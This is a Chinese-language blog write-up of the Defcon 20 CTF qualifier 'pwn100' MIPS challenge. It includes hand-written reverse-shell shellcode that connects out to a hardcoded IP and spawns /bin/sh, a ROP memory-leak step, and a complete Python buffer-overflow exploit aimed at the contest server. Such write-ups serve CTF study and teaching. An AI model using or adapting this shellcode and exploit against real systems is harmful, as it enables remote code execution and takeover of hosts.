2012年6月19日 星期二

Defcon ctf 20 qual pp100 Writeup



又到了一年一度的駭客界盛事 Defcon ctf qual 的....... 半個月後了

期末考終於有時間來寫個 write up 了XD
由於沒有在時間內解完,所以這篇算是事後腦補文!

沒在時間內解出卡住的點是
沒有看出有 setrlimit 的限制
以及
腦袋轉的不夠快沒有想到利用 ROP 去 leak memory address


Pwnables 100
題目描述
Pwn it! Running on 140.197.217.85:1994 Download the binary
檔案可以在這下載
http://rdlabs.org/dc20qual/pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a



















連進去長得像這樣


可以用 binutils 的 file 觀察發現是 MIPS 架構的 ELF binary

orange@z:~/ctf$ file pp100
pp100: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped

環境可以利用 QEMU 架起來,可參考 這篇

qemu-system-mipsel.exe -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0"

想要網路的話加上參數 -net user & -net nic
想到 forward port 的話加上參數 -redir tcp:22::22
(Host OS 22 port to Guest OS 22 port)






















QEMU 長得像這樣

接著開始進行分析,配合 IDA pro 觀察
在 gdb 中會發現在 png2ascii 指令內超過一定長度會產生 Segmentation fault.
慢慢減少字串長度發現在 260 bytes 後的字元可以覆蓋到 PC
python -c "print 'png2ascii\n' + "0"*260 +'A'*4" | nc 0 1994


















很簡單的 Buffer overflow 不過是 MIPS ~"~
可以很快地寫出 Exploit 但是 shellcode 有大小限制 ,網路上的皆無法使用所以只好自己寫 = =|||
(網路上的 shellcode 是考慮到 null byte,所以利用變形的方式繞過所以寫得又臭又長,而且還有寫錯的~"~)

要注意的點
MIPS 有分 Big endian 以及 Little endian,可以從 "\xc0\x01\x01\x01" or "\x01\x01\x01\xc0" 看出
syscall 值 可以參考 /usr/include/asm/unistd.h
MIPS 參數傳遞由 a0,a1,a2,a3 下去
MIPS 回傳值位於 ra
字串放進 stack 內位置要對齊,不然會寫得很幹!

透過 gdb, gcc, objdump, strace 可以寫出 shellcode

大致如
setrlimit -> socket -> connect -> dup2(將 stdout, stdin, stderr 轉至 fd) -> execv
Reference 中另外一隊的寫法是直接將當前連線當成資料交換的地方,直接 dup2,更厲害讓 shellcode 更短

void main() {
    // setrlimit
    asm("li $v0,4075");
    asm("li $a0,5");
    asm("addiu $a1,$sp,-64");
    asm("li $t7,100");
    asm("sw $t7,-64($sp)");
    asm("sw $t7,-60($sp)");
    asm("syscall 0x40404");

    // socket
    asm("li $a0,2");
    asm("li $a1,2");
    asm("li $a2,6");
    asm("li $v0,4183");
    asm("syscall 0x40404");

    // connect
    asm("sw $v0,-1($sp)");
    asm("lw $a0,-1($sp)");
    asm("lui $t7,0x5555");      // port
    asm("ori $t7, $t7,2");
    asm("sw $t7,-32($sp)");
    asm("lui $t5,0xc893");      // IP
    asm("ori $t5,$t5,0xe6ad");  // IP
    asm("sw $t5,-28($sp)");
    asm("addi $a1,$sp,-32");
    asm("li $a2,16");
    asm("li $v0,4170");
    asm("syscall 0x40404");

    //dup2
    asm("li $a1,2");
    asm("lw $a0,-1($sp)");
    asm("out:");
    asm("li $v0,4063");
    asm("syscall 0x40404");
    asm("addi $a1,$a1,-1");
    asm("li $t3,-1");
    asm("bne $a1,$t3,out");

    // execv
    asm("lui $t7,0x6e69");
    asm("ori $t7,$t7,0x622f");
    asm("sw $t7,-12($sp)");
    asm("lui $t6,0x68");
    asm("ori $t6,$t6,0x732f");
    asm("sw $t6,-8($sp)");
    asm("sw $zero,-4($sp)");
    asm("addiu $a0,$sp,-12");
    asm("li $a1,0");
    asm("li $a2,0");
    asm("li $v0,4011");
    asm("syscall 0x40404");
}


總共長度為 176 bytes
接下來的問題就是如何找到 shellcode 在 stack 的位置



















利用 Return Oriented Programming (ROP) 可以跳至 syscall __NR_send 的位置,並且參數可以自己控制最終將 Remote 的記憶體資料讀回來找出 shellcode 位置

最終的 Exploit python code

import socket
from struct import pack

HOST = "140.197.217.85"
#HOST = "127.0.0.1"
PORT = 1994

sc = (  "\xEB\x0F\x02\x24\x05\x00\x04\x24\xC0\xFF\xA5\x27\x64\x00\x0F\x24"
        "\xC0\xFF\xAF\xAF\xC4\xFF\xAF\xAF\x0C\x01\x01\x01\x02\x00\x04\x24"
        "\x02\x00\x05\x24\x06\x00\x06\x24\x57\x10\x02\x24\x0C\x01\x01\x01"
        "\xFF\xFF\xA2\xAF\xFF\xFF\xA4\x8F\x55\x55\x0F\x3C\x02\x00\xEF\x35"
        "\xE0\xFF\xAF\xAF\x93\xC8\x0D\x3C\xAD\xE6\xAD\x35\xE4\xFF\xAD\xAF"
        "\xE0\xFF\xA5\x23\x10\x00\x06\x24\x4A\x10\x02\x24\x0C\x01\x01\x01"
        "\x02\x00\x05\x24\xFF\xFF\xA4\x8F\xDF\x0F\x02\x24\x0C\x01\x01\x01"
        "\xFF\xFF\xA5\x20\xFF\xFF\x0B\x24\xFB\xFF\xAB\x14\x25\x08\x20\x00"
        "\x69\x6E\x0F\x3C\x2F\x62\xEF\x35\xF4\xFF\xAF\xAF\x68\x00\x0E\x3C"
        "\x2F\x73\xCE\x35\xF8\xFF\xAE\xAF\xFC\xFF\xA0\xAF\xF4\xFF\xA4\x27"
        "\x00\x00\x05\x24\x00\x00\x06\x24\xAB\x0F\x02\x24\x0C\x01\x01\x01"
    )

nop = "A"*(260-len(sc))
retAddr = 0x7f7fbc6a    # shellcode address
#retAddr = 0x00411498    # ROP to leak stack address

if __name__ == "__main__":
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.recv(1024)
    s.recv(1024)
    s.send('png2ascii\n')
    s.recv(1024)

    # get stack memoery
    # s.send(nop + \
    #        sc + \
    #        pack("I", retAddr) + \
    #        pack("I", 4) + \
    #        pack("I", 0x4bd740 ) + \
    #        pack("I", 0xffff) + \
    #        pack("I", 0) + "\n"
    #      )
    # tmp = []
    # for i in range(0, 0xffff, 1024):
    #    buf = s.recv(1024)
    #    tmp.append( buf )
    # with open("temp.txt", "w+") as fp:
    #    fp.write( "".join(tmp) )

    # jump to shellcode
    s.send(nop + sc + pack("I", retAddr) + "1234")
    s.close()


Reference:
http://blog.lse.epita.fr/articles/17-defcon2k12-prequals-pwn100-writeup.html
http://www.exploit-db.com/exploits/18226/
http://www.thc.org/root/docs/exploit_writing/mipsshellcode.pdf